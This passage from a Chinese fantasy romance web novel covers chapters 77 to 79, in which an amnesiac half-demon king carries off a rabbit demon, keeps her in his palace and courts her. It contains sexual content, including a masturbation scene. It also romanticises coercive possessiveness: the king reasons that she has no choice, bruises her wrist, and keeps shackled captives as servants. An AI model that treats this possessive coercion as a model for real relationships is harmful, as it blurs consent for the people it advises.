裴息尘也不知怎地,似乎怎么也看不够, 只是这样靠近,他便感到少女身上的馨香渗入了脾脏地躁动, 即便是她那一脸不情愿的样子, 也让他打心底发出愉悦。 他生出种将她揉入身体的邪恶, 浑身的细胞都在叫嚣着欺负她, 揉碎她, 让她成为恶妖的俘虏,他想象她凌乱哭泣的样子,倏然亢奋起来。 玉扶回望他浓稠得恍若要滴墨的妖眸, 瑟瑟不已, 好可怕,好容易读懂,他又想吃她了。 只是,如今到底是哪种食欲多一些, 她实在捉摸不清了。 她欲往后退一步, 至少先拉开些距离。 然而, 半妖的手轻而易举地绕到了她的颈后。 他的手好大,好凉,手指几乎探到了前颈来, 指腹轻压在她的颈脉处,轻轻地磨, 也缓缓地收力、放力,细致亲昵得满是恶意。 玉扶的心被高高悬起,一会害怕得要死, 一会又是被阿裴一点一点调教出来的贪恋,他磨得她好痒,好热,她几乎要怀疑是坏胚的阿裴在与她调情了。 颈子放软了地歪蹭大手,一点变调的嘤咛溢出。 裴息尘震惊地看着玉扶,纯美依恋,恍若他离远一点,她就会哭,她比想象的还要爱慕他。 真是爱惨了他的兔妖。 她如此柔弱,温顺,他反倒怜爱了起来,甚至忘记怀疑她是不是在心里骂他。 他要带她回妖王宫,将她藏起来,护起来,慢慢地疼爱。 玉扶的颈子骤然失去依靠,腰间却一紧,下一刻,她只瞧见自己的裙摆在空中荡出一道弧,便完完整整地落到了一个怀抱,同时,身下的舆架拉动了起来,先才她观望的位置成了渐远去的后方。 她被大妖密不透风地拥着,锢着,他的颌压着她的发侧,高挺的鼻梁埋入碎发细闻。 香气撩得他唇舌都是干的,总是痛得要裂开一样的脑袋,第一次从杀戮以外得到了宁静的安抚。 裴息尘疼爱她的想法霎时更强烈,喷出的呼吸都让玉扶的头皮发紧。 他又吸闻一下道:“小兔子,你好香啊。” 语调轻柔得有些变态,玉扶不受控地打了个寒颤,她不怕温柔正经的佛修,也不怕纸老虎的阿裴,可是,失去记忆,或许还发生了未知改变的半妖,会是可控的吗? 她眼睫细细颤着地上撩,爬在半妖颈上的妖纹近在眼前,犹如从肌底透出的墨蓝,随着呼吸牵动,天然生出性感。 玉扶的视线不动了,眼睫也不颤了,不用看脸,她就已经喜欢上了这儿。 漂亮的妖纹,性感的喉结,她的色心,好容易被迷住啊。 她听不进去周遭妖群行进的声响,也顾不上许多惊讶的窥视,她只想碰一碰。 少女的手指轻触上了半妖的颈,裴息尘下意识地抓住了她的手,握拢,眼褶垂下凌厉的形态,敛着审度的戾气,似乎是很奇怪她的举动,眼珠几乎定在了她的面上。 玉扶起色心时,胆子总是会膨胀不少,诸如此刻,她就根本没留意他的戒备,被握住的手,指尖还在轻勾地碰上妖纹。 她问:“这是什么时候长出来的?” 她清楚的,在以前,他的身上并没有任何一道妖纹。 毕竟不是纯妖,没有妖纹也情有可原,可现在不是有了嘛,还这样会长,看着就很漂亮,很诱人。 她盯着看地抿了唇。 裴息尘嘴角勾起,露出些许松散的笑,于妖而言,妖纹一定程度上代表了妖的种族与血脉强弱,很会欣赏的小兔,他无疑是妖中翘楚,当之无愧的妖王,迷恋上他,实属应当。 只是,少女的口气,还是令他生出了某种不愉悦的怀疑。 “你很了解我?”裴息尘巧劲一提,将玉扶抱坐腿上,乌沉沉的眼审视地逼近。 玉扶心里也是一惊,避让地缩下眼,继而豁地抬脸,理直气壮:“你自己不是都说了,我光是在阁楼上就等了你十三次,我当然了解很多了。” 日光浮照在玉扶身上,小脸映衬得越发光润雪白,说出话带着一股子挠人的劲儿,水灵灵,也生机勃勃。 她其实根本不怕他。 裴息尘莫名就是有这样的感受,神魂也蓦地又痛了起来,尖锐的疼,从最深处翻涌上来,带着天旋地转的晕眩,翻江倒海似的要将他的理智吞没。 不是第一次这样了,他的神魂应是遭到了某种重创,忘了许多事,然而,他当时所处的情形并没有给他慢慢厘清的机会,他的身后是破坏的传送阵,门外是一堆等着他驱使的妖众。 他顺势成了新的妖王,要说有什么放不下,他非常强烈地感觉有什么重要的东西落在了传送阵的另一端。 他四处抓捕精于此道的人修,修复传送阵,却一直没有进展。 时日越久,近乎焦虑的烦躁越甚,尤其是有人修竟指认他这副身躯是佛宗的佛子? 那他到底是谁? 是夺舍者还是被夺舍者? 他快神志不清了,但他将妖王做得越发好了,无所顾忌的战场,一次次厮杀,也一次次地从中获得确认,这般契合的身躯,只能是他自己的。 每次重归妖王城,他的狂躁都会被抚平许多。 所以,今日不该犯病的,是因为兔妖吗? 他低垂下眼,定定地观察玉扶,她第一次出现,他便发现了她,她趴在阁窗上看他,眼瞳欣喜,唇畔带笑,肌肤白得没有任何瑕疵,简直仿若晕了光一样,灵动得没边。 只一眼,他就产生了恶欲。 可这样的小兔妖,一看就是会惧怕他的类型。 他收回眼,等着下一次又下一次,他给了她十三次机会,她还是出现了。 那她就该是他的。 她别无选择。 玉扶开始感受到手腕处握来的力道,她被抓痛了,她忍不住动了动,想抽回手,从他身上下去。 谁知道反惹了他似的,猛地被抱得更紧,他整张脸都埋入她的颈窝,咬她道:“别动了,我烦的很。” 玉扶漂亮的唇瓣震惊地张成o形,真是当了妖王就忘本了的半妖,都开始嫌她烦了,他以前不这样的。 她安静地让抱着,眼眶却已经红了,大坏妖,她后悔跟他走了。 可她哪里敢动,他都警告她了。 少女安静得过分,一种似曾相识的心慌感倏然漫上裴息尘心头,他抬起头,一见她欲掉不掉的泪,竟生出些果然如此的习惯感来。 并来不及思索这些感觉从何而来,就已被她牵走了心,此时已入了妖王城的内城,即将入了妖王宫。 他冷下声,显出妖王一面的冷硬与残暴:“还是不想与我走?已经晚了。” 玉扶一边憋着难过的泪,一边气得发抖,果然是当了妖王就不一样了,现在见她哭,都只剩下威胁了。 玉扶忍不了了,她不干了,她就是不要陪他了:“对,我不要和你走了。” “你烦的很,我还气的很呢,你抓痛我,不管我的感受,我不要喜欢现在的你了!” 妖兵已在入内城时散去不少,可留下同行的妖将还在,他们皆被玉扶的宣言给惊到了,就连战败了被迫拉车的妖兽都停了下来,忍不住看到底是多大胆子的女妖,都被抢上车驾这么长一段路了,这时候说要走了?不要命了吗? 在场交过手的,见过妖王发狂猎杀的,哪个会不知道妖王的精神有些不太正常? 就连本该被裴琅控制的妖群,也怀疑他是夺舍的时候出了问题,甚至还有偷偷猜测或许里头的芯子根本没有换妖。 但他实在太强了,没有妖敢忤逆。 裴息尘扫眼偷觑的众妖,冷入骨的压迫向四周发散,吐声:“滚。” 众妖心中胆惧,须臾散得干干净净。 玉扶也在“滚”,得罪归得罪,小命还是很重要的,她遁地娴熟,只要再给她一点点时间,她一定可以跑掉。 可现实是,其他妖成功滚了,她在施法的一刹被捏住了手指,重新跌回了半妖的怀中。 他周身不安定的气场让玉扶感到害怕,她讨厌这种熟悉的妖变得陌生的感觉,他不认识她了,他现在是不是还想收拾她? 裴息尘情绪波动,神魂不断在灼痛,这让他控制不住狂躁,能忍住放过身边这些妖将已是克制,不是他仁慈,而是,他不想吓到兔妖。 为什么要在意一个小兔妖的感受? 他也说不清楚,只是潜意识认为该这样。 尽力压制着狂躁,神情阴沉地将视线垂落玉扶的手腕,刺目的一圈指印,她没有怪错,他弄疼她了。 他重新握上去,轻揉,以妖力为她缓开淤痕: “不喜欢现在的我了是什么意思?” 玉扶抽手:“就是不喜欢了的意思。” 她分明说着不喜欢,可眼中水光更浓了,像是受了什么天大的委屈,在不管不顾地使气。 裴息尘没有让玉扶抽动手,他盯着她,狂躁中有种兴奋的本能又在叫嚣,他一会想欺负她,一会又想,她为什么就敢对他使气? 不是信任那是什么? 她爱慕他! 全身血液想得战栗,身体由内而外散发着霸道的妖息得停下来。 连捏个手都能生气的娇气兔子,她会被他缠坏掉。 他沉沉呼出气,盯着玉扶,自顾说:“你在说气话,我不信。” 玉扶才不管他信不信,可不知道是不是错觉,眼前半妖的妖纹色泽似乎变了,变得更秾丽,更说不出的危险,只是被他的气息裹着,她就非常喘不过气来,她的意识彷佛变成了花,在不断被咀嚼。 她隐约觉得现在的半妖似乎和她印象里的息尘与阿裴都不一样,既熟悉又带着些许的陌生。 他有着阿裴的恶意,又有着息尘的冷静,二者结合得出动人的气魄,也结合得出变态的压抑。 就像弓弦,在彻底拉满前,总是有着无限的张力。 玉扶开始害怕他被拉满的那一刻,不敢想那一刻会爆发出的威力。 她真是做了个错误的决定,死不掉的大妖,哪里需要她来让他寻回记忆,她会先被欺负死的。 大抵是真被吓得神志不清了,她竟拖着哭腔还在与大妖计较“烦的很”。 “你烦的很又不是我的错,为什么要凶我?” “不让动,还威胁。” “你凭什么烦我?” “我才要烦你……” 裴息尘怔怔盯着不断吐出“烦”这个字眼的少女,她好较真,又哭又气还又怕,眼睛都哭红了,身子也抖得厉害,可是,真诱人啊。 裴息尘眼眸变得更暗,更漆黑,他又说了一次:“我烦的很。” “它一见到你,就硬。” “我应该第一次见你,就把你抢回来。”—— 第77章 “你越哭, 它还胀得难受。” 玉扶抽泣不下去了,也闹不下去了。 她近乎呆滞地看向半妖,他看上去野性又安静, 都激动成什么样了,还能将在烦什么阐述得平静冷淡。 两种极端的反应在他身上显出一种诡异的平衡。 看得久了, 甚至会觉得, 好像本来就该这样。 气氛安静了好几息, 半妖不知道到底在想什么, 表达完在烦什么, 便再没有任何进一步的举动。 玉扶轻抿了唇,还存的微悚感根本不可能令她主动帮他什么,可是, 方才的应是解释吧? 他在解释他烦的不是她, 而是在烦他身体部位的反应。 应是如此吧? 她微微掀眼去看他的神情,似乎是真的非常烦。 甫一对上眼,半妖狂躁地下压了一下,又骂:“烦的很。” 衣料被压下抚平, 又继续弹回。 玉扶相信了, 他是真的在烦。 她红着耳朵当作没听见地扭头, 小声道:“我叫玉扶。” 裴息尘猛地循声看去,少女侧着身,坐离他半臂距离, 许是身量不够高的缘故,即便坐着也显得弱骨纤形, 一点微红的耳对着他,很有欺骗性的娇弱,但大抵就是他喜欢的模样, 每一次见她便心中激撞。 玉扶,恍若梦中出现过千万遍一般的名字,光是听着,就已溢出了甜蜜,不假思索地,他唤了声:“阿扶。” 熟悉的嗓调,玉扶惊喜瞥目,想他是不是想起来了,但很快又是一声同样的叫唤,玉扶沮丧下去,一听就知道是在叫着玩。 “我叫你,你不应我?” 玉扶鼻音哼哼:“你也没告诉我你叫什么。” 她已经又决定留下来了,就看在误会了他的份上,然而,好半晌,她没有听到重新认识的回答。 半妖皱眉,俊得有些阴翳的脸上有一瞬透出可怕的戾气,他想不起自己的名字,妖众不是唤他“王”便是“主君”,他似乎没有必要要名字。 倒是从人修那儿问来一个名,但太过正派,不像是妖的。 神魂一下一下地抽痛,漆黑的眸子越发黑寂狂躁,他遽然起身,搂起玉扶往妖王宫宫殿里带。 玉扶惊声揪住他的衣襟,小脸通红通红。 她都没做好准备,他不会对她来强的吧? 毕竟他都那么烦了。 她也不是不可以啦,就是,这样会不会太快了点? 才刚重新认识呢。 那她是直接从了还是推拒一下再从?是用功法啃几口,还是不用功法小心一点他不稳定的状态? 玉扶纠结咬唇,又想: 他什么都想不起来,会弄伤她吗? 她要是控制不住喊了他没告诉的名字怎么办? 他不会连自己叫什么都想不起来吧? 玉扶乱七八糟想了一堆,再仰脸时,眼波潋滟得要漾水。 然而,都还没站稳,就被烦的不行的大妖往门内推:“你就住这。” 玉扶眨眼,数息之后,才从半妖远去的背影中回神。 她好像是被独自留下了? 他竟不对她做什么? 不是残暴狂躁的妖王吗? 玉扶说不清是庆幸多一些还是失望多一些,总之,她被勾得心痒痒的。 他好有手段啊。 捂着又在砰砰跳的心脏,玉扶当真就在宫殿中留下了。 她将整个宫殿逛了一遍,很空,很大,还很新,像是新修的。 她于角落里捡到一小块碎鳞,边缘断痕明显,但完好的地方色泽深蓝幽邃,一眼可辨是从谁身上掉落的。 是半妖的。 那这处宫殿是他的住处吗? 玉扶来来回回地把玩着断鳞,觉得当一下妖侍好像也没有那么糟糕。 细想短暂的重新相处,半妖似乎也没有传的那样残暴,眼神有时候是有点吓人啦,可她样控不住脾性地闹气,他也没对她做什么啊。 玉扶想,半妖固然某些程度上忘了她,但身体反应骗不了人,他馋她的很。 恢复记忆或许不是什么遥不可及的事。 那要不要告诉他,她其实早就认识他呢? 他会相信吗? 突兀地,玉扶脑中跃出半妖漆黑审度的眸子,自己吓了自己一跳,她收起碎鳞,认真打消了方才想诚实的想法。 还是再处处再说吧。 不久,一群脚上镣铐的小鸟妖在殿外等候服侍玉扶。 玉扶惊讶地等待她们进来,只见羽翼轻动,十余妖步不着地,无论是摆放桌案还是点亮灯盏,皆举止寂然,没有发出一点杂响。 玉扶想寻她们说话,拉得一小鸟妖留下,镣铐不小心发出了清脆的响,霎时,一群小鸟妖面上都露出了惊恐。 玉扶内疚松手:“我不是有意的,这个不能响吗?” “可以摘掉吗?” 没有问出结果,小鸟妖们慌张飞出了宫殿。 她回想以前遇到的小鸟妖们,虽不是同一批,但天性皆是活泼浪漫的,隐隐的,玉扶觉得好像窥见了半妖当下她还不熟悉的一面。 偌大的宫殿陡然就阴寒了起来。 她也吃不下睡不好了,翻来覆去,还是起身走出大殿,四处远眺,周遭真的好空,好黑,还特别静,她这样灵敏的耳朵,竟然很难在这里捕捉了响动,所有的声音就像是被黑夜吞没了,瘆妖的很。 但也因为没什么妖在,也没有妖会阻拦她往哪去。 直到她漫无目的地走出了妖王宫最中心的建筑群,才开始听到一些动静—— “主君不是才从战场回来,怎又要去那处冷静?” “你活不耐烦了,还敢议论。” 声音停了,半晌,复又更轻地传出:“听说是抓了个兔妖受到了刺激。” “也不知那兔妖是死是活?” “大概被一口吞了罢。” 二妖发出可惜的轻叹。 “兔妖怎么让那位受刺激了?”玉扶靠近,压低声地插入谈话。 “谁知道呢,我们这新王,这里不太正常。”执槊犬妖用槊敲头一瞬,互相对望,遽然扭头,只见不知哪出现的女妖也与他们一同惊慌左右查看,还拍着胸安抚他们: “没有旁的妖,就我们。” “不用怕。” 许是玉扶化形太好,很有迷惑性,二妖竟真就放下了心:“你是新归顺来的?眼生的很。” “这夜里别乱走,入了我们主君的地盘,小心着些,如今王宫和内城可不是往日没主的时候。” 玉扶点头:“我今日才归顺,裴妖王”玉扶也敲了敲头,“这里为什么不正常?” “他不正常就会杀妖吗?” 犬妖摇头又点头,这该怎么说呢,战场上杀的多,这不,早前三大强势的妖族现在都被杀得在抱团了,不少俘虏来的大妖更是沦落到只能拉车的地步。 可新妖王的气场下,就算他不怎么清理己方妖,那也很可怕。 谁能保证在他收服完所有对立的妖,就不对内发狂了呢? 犬妖简单阐述对妖王的崇与惧,玉扶理解地点头,又指着一个方向问:“我方才见到一群戴镣铐的鸟妖往那个方向飞,那是哪儿?” 玉扶指的方向,大抵是妖王宫最亮的一片区域了,两只犬妖看去,身子就抖了抖:“那位闭关的地方。” “他在那是吗?”玉扶问。 犬妖下意识答:“今日是在的。” 玉扶礼貌地道谢,遁地消失。 许久,两只犬妖面面相觑:“方才,好像是兔妖?” * 巨蛇困恹恹泡在阔大水池中,池面浮着诸多可缓妖郁燥的药材,有人修跪在一旁不服气地犟嘴:“蛇性本淫,除非骟了,不然哪有药能说控制就控制!” “你这恶妖,想杀便杀,何故刁难。” 这是个趁乱来妖域收购妖材炼丹的丹修,伪装不到家,被妖捆了献给妖王。 不得不说,人修在各类技艺钻研上,比之崇尚天性和力量的妖族,不知强出多少倍,至少,妖族就很少能拉出几个擅丹药符箓法阵的。 一群小鸟妖方落地,就听得人修对妖王的叫嚣,敛翅都缓得不能再缓,就怕妖王一怒之下迁怒。 然而,裴息尘蛇眸微动,还真思考了一下骟了的可能性,总是硬,他根本不能和兔妖好好说话。 其实他完全可以不顾兔妖的意愿,显出可怖的本相与她缠在一起,可是,她太较真了,气性也大,不过一句话没说对,就能气哭,水灵眸子楚楚可怜又指责地看他,简直要命。 好不容易收回去的部位,又开始苏醒,蛇尾烦躁地将人修并一干妖属鞭出池室。 一群小鸟妖惧得更加降低存在感。 裴息尘却偏想起她们,问:“兔妖如何?” 这些小鸟妖皆是鹰族撤离时,留下的法力低微的小妖,一直被关在了新辟出来的妖狱中。 他整日神魂痛得想发疯,身边根本不会留下妖侍,还是带回了兔妖,才特意命妖属从狱中提出这些擅照料的小鸟妖。 小鸟妖们也不知这些日子是怎么过的,此刻面对妖王的问询,个个头颈低垂,唯领头的鸟妖胆子稍大些作答:“兔妖已歇下。” 似乎没有什么特别的地方,裴息尘索然无味地挥退她们。 唯剩半妖的药池,裴息尘蛇首完全浸入水下,敞放的欲望,根本压制不住,神魂也尖锐地疼,他不断想起少女的笑靥,还有,忍不住想,他是谁?他该叫什么?他到底忘了什么? 粗壮蛇尾不断烦躁地拍打着池案,掀出水花。 他翻滚咒骂,该死的人修,竟没一个能修好法阵。 又想,等他料理完三族余党,该去人修的地盘,抓几个更厉害的…… 他真的烦的很。 渐渐的,池中的水都快被他泼完,他收束了尾巴,面无表情地在出水处的台阶坐下,单手捋动。 烦的很,出不来,还有一根。 真该骟了一根去。 他换了一只手,继续面无表情。 玉扶的耳朵实在太灵了,还没有靠很近,就听到了各种翻水和尾巴拍打的声音,这是生气和烦躁的反应。 犬妖们没有骗她,妖王经常发狂。 他脑子不正常了。 可她想不出哪里就是她刺激的了? 她认为罪魁祸首还是裴琅,如果不是他夺舍,半妖某种意义上,两个意识还是很平衡,很和谐的。 本着惜命的精神,玉扶才不会在半妖状态不稳定的时候去找存在,她顶着一块大地砖,留出一道缝,一边听一边判断他的状态。 然而,听着听着就红了脸,半妖好像不只是脑子不正常了,还淫.心很重。 第78章 玉扶也不是第一次听墙角了, 很容易就能比对出有什么不同。 他怎么都不喘了? 以前分明很没羞耻的。 干巴巴的,她都听得有些没劲了。 玉扶再次确认,他真的出问题了, 就分明是不该冷静的时候却冷静压抑得过分。 仔细想,这个症状其实早就有显现, 换了以往, 阿裴哪里会在激动的时候还往下压的, 早就又喘又脱地来缠她了, 至于息尘, 就根本不可能跟她讨论烦不烦的问题。 这种诡异的冷静和激动总是同时出现,玉扶很难不怀疑,她的佛修和妖孽好像终于变成一体的了。 玉扶不知道该说沮丧还是旁的什么, 好像妖还是那个半妖, 但就是哪里不一样了。 而且,还都忘了她。 她不想听了,身子往地下钻,顶出的石板缝隙重新合上。 漫无目的地行到了能见到妖王宫入口处, 内外都有不少大妖守卫。 她能游荡到现在还没被什么巡逻的大妖发现, 玉扶都已经觉得很神奇了, 她好像比自己知晓的还要厉害一点。 她得到了无相石,得到了圣山的核心力量,学会了用无相石布阵, 她还能只靠自己就度过了无渡海。 如果不是一直以来用来对比的半妖太过超出寻常,她已经不能算作小兔妖了, 往外走,不说放在妖王宫,就是这个妖王城内城, 她也能算是实力中间往上的大妖了。 她的这些进步似乎都离不开半妖的影子,虽然本来就该是她的机缘,可是没有息尘带她进入游仙会,没有阿裴帮她炼化圣山核心,她也并不能成长这样快。 他是有些变了,可并不难察觉出,他身上还有着息尘的包容与耐心,他知道弄痛她了,马上就改了。 当然也还有着阿裴的不逊,分明什么都忘记了,还能自顾自地说她爱慕他。 她只是有些不适应,还有些被遗忘的失望。 若真就这样离开了,玉扶想了想,她还是会想念他的。 半妖可真复杂,根本从一开始就不正常,现在好了,他们真的完完全全成了一体。 她要开始重新适应了。 谁让他那么迷恋她,也谁让他还欠了她好多。 等他想起来,她不止要他啃脚丫,还要他跪下来道歉思过。 越想,玉扶遁地时翘起来的短尾巴越精神,终于,她挖回了寝殿。 摇了摇还是沾染上的尘土,复用了个清洁术,才躺上床榻闭目。 隐约间,她好像闻到了半妖的味道,安心地拱了拱。 裴息尘感受到了她的依恋,贪婪的目光流连在少女可见的每一处。 差一点,他就要出手将这想逃跑的兔妖抓回来,也差一点,他要显出他疯魔的本相了,他会把她缠坏的。 还好,她自己回来了。 她好乖。 可是,为什么偏偏是在偷听后,就又想离开? 是他的欲望令她反感,还是他的狂躁令她畏惧? 他早就知道她一定会怕他的,几乎没有妖不怕他,那些被妖性激发的崇敬不过也是畏惧的一种罢了。 裴息尘肆无忌惮地欣赏玉扶的脸,真漂亮,也真可怜。 他发现,不管给玉扶多少次机会,就算她不再出现在阁楼之上,他也一定会找到她的,他就是这样的不正常,忍也忍不了太久。 所有的忍耐似乎只是他为恶的宽限,伪善的借口,看,他已经给了她很多次机会,所以,是她自愿的。 他的小兔子,就该被他侵略,被他缠绕。 跑不掉的。 非人似的双目狩猎一般地盯死玉扶,但他没有显出妖纹的大部分面皮,又清绝异常,合在一起,吸魂夺魄一般妖孽。 他温柔到近乎变态地将玉扶毛茸茸的发丝理好,轻轻一吻额侧。 * 晨光熹微,玉扶惯常修炼的时辰,夜里那番跑动也没能影响她的这个习惯。 拱一拱,被包围的禁锢感霎时传来,她的小肚子压着沉沉的大手,后背紧紧贴着一片紧实胸膛。 熟悉的气息让她身子都软得不想修炼了。 修炼哪有直接啃来得进步快。 她小心地抱着半妖的手,慢慢转了个身,从背对变成了仰躺,大手依旧放回了小肚子上。 这时,她已能从正面清楚地看到半妖了。 除了妖纹与眼下的乌青外,他几乎没有太大的变化,闭着眼的时候,那些狂躁与郁郁都潮水般退去,显出了柔和的气质。 但妖纹实在难以忽视,蛇脊般的轴线,鳞纹狭长,从颊侧偏下处延向脖颈。 玉扶早就好奇妖纹往下的模样的,因她瞧见过,半妖的指根向手背往上也隐有一点蛇尾模样的妖纹。 身子慢慢地往下缩,从里头看,他竟只穿了一件薄薄的内衫,大方地敞开,力量感的线条清晰地向胯部往里收,呈现倒八的突出峰脉。 她分明是想看妖纹,一不小心就看偏了,乱茸茸的脑袋冒出一瞬,两手紧紧地牵着被沿,缓了好一缓,才重新看妖纹。 不同的妖,妖纹有不同的形态,分布也不同,她的就集中在眼下,几瓣红色的桃花纹,她习惯敛起来,只有控制不住的时候,才会浮现。 半妖的显然不同,如同时时散出的危险信号一般,分布还有颈侧,锁骨,乃至瞧不到了的臂肘。 这些妖纹的存在,在玉扶看来,并不可怕,还极具美感,就那种恰到好处地增添了性感。 她是妖嘛,天然就很能接受妖纹的存在。 也好喜欢啊。 她一点也不好奇,他们怎么就睡到一张榻上的,这本就是半妖的宫殿,他淫心还那么重,竟没有半夜啃她,已是不可思议。 不过,这样似乎不错,毕竟某种意义上,他们在重新认识。 她要适应新的他,他也要重新认识她,然后超出生理地,喜爱上她。 玉扶发现,自从明白了什么是喜欢,她就已经不满足只是贴贴亲亲,她想要的是,更特殊,更不可替代的唯一。 想要他不管如何何变,最后都会只喜欢上她的那种喜爱。 他不能想别的妖,不能有别的妖侍,还不能对别的妖有淫心。 如果做不到的话,玉扶想—— 她会不要他的。 当然,最希望的还是半妖能全想起来,她还记着好多仇呢。 如此想着,玉扶的目光又摹上半妖的眉眼,他一定很累了,不然怎么能到现在还没发现她的好多小动作。 他是不是经常狂躁到睡不好觉? 是两个意识融合的后遗症吗? 怎样他才能好受一点呢? 玉扶很久没有动,很乖地缩在他怀里,无聊了就看看他的脸,数一数他的妖纹。 然后小心眼地又记上一笔欠债。 日头一点点升高,投入妖王寝殿的日影也一点点拉长,又缩短,没有任何妖打搅,也没有任何声响惊扰,满是兔妖与半妖的空间幽静而蕴出独特的韵味。 玉扶也从醒着到又睡了一觉,眼睫眨动,视线中的半妖正坐着看她,敞开的衣襟拢上了不少,喉结往下的妖纹全盖寝衫太薄,显出些隐隐的透色。 她师姐说过,这种要遮还又透的叫勾引。 玉扶深以为然地揉了揉眼,意识逐渐清醒,她坐起问:“我从今日开始当妖侍吗?” 她的坐姿真的非常乖巧,就如她的原形小兔子一样,柔软的没边,想将她整个都端到怀里拥着才好,裴息尘的眸色又一点点暗下,他肆无忌惮地打量了她半宿,绷得发痛,杵得像烙铁,贪恋兔妖的每一处,肆意的念头冒出一个又一个。 最后,奇异地,他竟抱着她又获得了安宁,睡了一个难得的好觉。 他的嘴角勾起来,对着玉扶露出一个自觉和善的笑,他改变主意了,他并不需要什么妖侍,他想要的是能接纳他一切,吞下他所有恶欲的王后。 她这样乖,这样恋慕他,还主动回来,她会包容他的吧? 只要他再忍耐一点,再克制一点,她会有适应的一天。 分明还什么都不曾开始,他就已经想到被接受了的将来,快乐得要哈出声。 立即地,吞下声,喉结狠狠滑动,目光却没有偏移地停留在玉扶身上。 玉扶的耳朵太灵了,根本没有错过这突兀的吞咽,她被他的眼神盯得好不自在,乖巧的坐姿都忍不住磨了磨腿。 她等不了地掀眼,用不满的眼神催促他倒是给个准话。 她都已经很退让,决心留下当妖侍陪伴他了,怎么还能这样坏地吊着她。 娇气又气性大的兔子,小嘴都要撅成喇叭了,不满的态度呼之欲出。 这样的兔妖,竟也令裴息尘生出无端的愉悦来,她下一刻就要闹气的模样也真的好挠人。 恍若经历过无数次一样,他自然地就知道这时候要无限地拉长等待。 他没有做出回应。 玉扶等不了了,她想不到如果不当妖侍她要如何留在半妖身边,他淫心那样重,她会看不住他的。 是因为昨日她对他闹气,不想要她当妖侍了吗? 玉扶知道自己很难控制脾气,毕竟在她看来,他们根本不是陌生的关系,可是此刻,她愿意为自己的决定,表现得更乖一点。 不过是一两个呼吸的功夫,她就先于半妖做出了回应,双手松开了捏着的被沿,腰肢挺向半妖,仰着脸软声:“我可以当好妖侍的。” “我可以帮你擦洗蛇鳞。” “还能在你卡皮的时候,帮你蜕皮。” “我会很多的。” 玉扶几乎将自己的条件摆开了摊在半妖面前,裴息尘的呼吸重了重,他的等待没有错,抢来的小兔子,实如宝藏,她好可爱,也好乖。 她一定会接受他的,她能吃下他。 光是想象,神魂的抽痛都不再是影响,头皮都要爽快得爆裂开了。 他压抑地吟笑出声,大手一掌握住玉扶的腰肢:“阿扶,你好乖啊,乖得我不想骟了。”—— 第79章 玉扶是识字的, 但她是妖嘛,学得不够深,总是不能理解息尘说的很多浓缩了的话。 此刻, 她虽不觉得半妖也在说浓缩的话,可也没区分清是什么山、珊、扇? 她瞠大了眼, 直觉是最后一个“扇”。 他竟想扇她? 然后因为她表现得乖放弃了。 玉扶唇瓣微张了又张, 终是没能吐出一个字, 他太恶劣了, 脑子还坏掉。 她不能和脑子坏掉的妖太计较。 她应该默默记小本本。 裴息尘手掌撑着玉扶的腰, 几乎下一刻脸就埋入了她的颈窝,她真的好香,高挺的鼻梁碰来碰去, 变态一样寻着下口之处。 牙齿要碰不碰地喷出灼热的气息, 但他忍住了发痒的牙根,收回了口。 压抑到极致的忍耐,反令他的理智极端地清明,想要逃跑的小兔, 不能操之过急。 徐徐图之, 她会慢慢习惯他的。 他的声音开始温柔得更真切:“阿扶, 你真的想帮我擦洗蛇鳞,帮我蜕皮吗?” “你想当我的王后嗯?” 玉扶完全没有听进脑子里去,他凑她太近了, 气息撩来撩去的,又不落到实处, 诱得她都饿了,尤其是他的声音,温柔得好像息尘出现了啊。 她快没有定性了, 好想扑倒,但是,他没有记忆,他是陌生的。 陌生又危险的半妖,她已经决定矜持地等待他喜爱上她。 她正在不断心理建设,给自己蠢蠢欲动的色心筑起坚固的围栏。 也以至于当她反应过来半妖说的什么,面上显出了呆滞的茫然。 啊? 她就升级到可以当王后了吗? 刚才不是还想扇她? 玉扶感觉,她的脑子好像也要坏掉地转不动了,她听见自己问: “我想当王后就可以当吗?” 半妖下颌又搁在玉扶的发顶,几乎没有犹豫地道:“当然。” “只要你是我的小兔,不要离开我。” 大手无意识地轻抚玉扶后腰。 有点熟悉的论调,玉扶竟于悚然中生出了点自适来。 她挣出半妖的怀抱,眼眸开始发亮:“那我可以提要求吗?” 玉扶的反应有点出乎半妖的预料,可似乎又在情理之中,爱慕他的小兔,有自己的脾性,她似乎比想象得还要容易接受他。 他是不是可以更放纵一点,更显出本相一点,比如,先放出尾巴缠上她? 他又开始兴奋了,靠着微弱的一点理智对玉扶点了头。 玉扶霎时大胆起来:“我当了王后,你只可以对我一个妖好,不可以抢别的妖,不可以对别的妖起淫心。” “不能凶我,欺负我,弄痛我。” “我生气了,你要哄我,我开心了,要陪我开心。” “我修炼的时候,也要大方地帮我……” 玉扶越说越胆大,如果尾巴显形的话,大抵要翘到天上。 半妖一言难尽地看着玉扶,她想当的大概不是王后,而是坐到他的月佥上,当他的主人。 然而,他并不生气,相反,心上还有些酥痒。 目光似乎有自己意志地落到少女身上,漂亮的小兔,说起话来,身子都像开心地在摇,整个人都是柔软轻盈的,腰肢在宽松的内衫里,空得仿佛柔韧飘荡的柳段,招他的很。 坐他脸上嗯,似乎也不是不行。 半妖再忍不了她继续说下去,双手猛然捁住少女的腰,鼻尖一撩一撩地埋下,蹭她的耳鬓,探她的耳后,不知在寻什么缝隙地磨动,他哈出温热色气的呼吸:“可以,阿扶,都可以。” “当我的王后。” “就都可以。” 一下,他就咬住了玉扶小巧圆润的耳垂,用唇瓣抿住,松开,又含入,牙齿卡住,湿润与潮热霎时裹得玉扶神魂都要飘出来了。 一口气顺着小腹向上绕在胸口,玉扶难受得想哼唧,脸蛋憋得涨红,好可怕,好会撩拨的半妖,才一日啊,他哪里是狂躁,分明是色欲熏心到等不及了。 她感觉自己真的要被吃掉了,她要跌落在他画的大方的大饼里了。 她会成为他的王后,彻底被他拥有、侵占。 可是,他真的很好说话啊。 玉扶相信,就算现在让他啃她的脚丫,他也能面不改色地答应。 但没有办法,她抗拒不了的,她已经陷入了他的陷阱里。 她都不知道要如何是好了,她并不是很想爬出陷阱,可是—— 太快了,真的太快了! 她没有准备好。 他温柔得太骇人了,他将他的恶欲裹上了名为纵容与柔情的糖衣,玉扶完全不敢想糖衣下的半妖,到底有多不正常。 他脑子坏掉了,他不是息尘也不是阿裴,他是陌生的结合,是残暴的妖王,他不记得她,玉扶毫不怀疑,他一定会用超出人形的形态与她乱来。 她没有试过,她吃不消的。 光是想到,她就想失声尖叫。 耳垂被亲含得开始发痛,玉扶手掌向上托,费力顶开他沉沉的脑袋,晃脑喘声:“你别这样我们都认识不久” 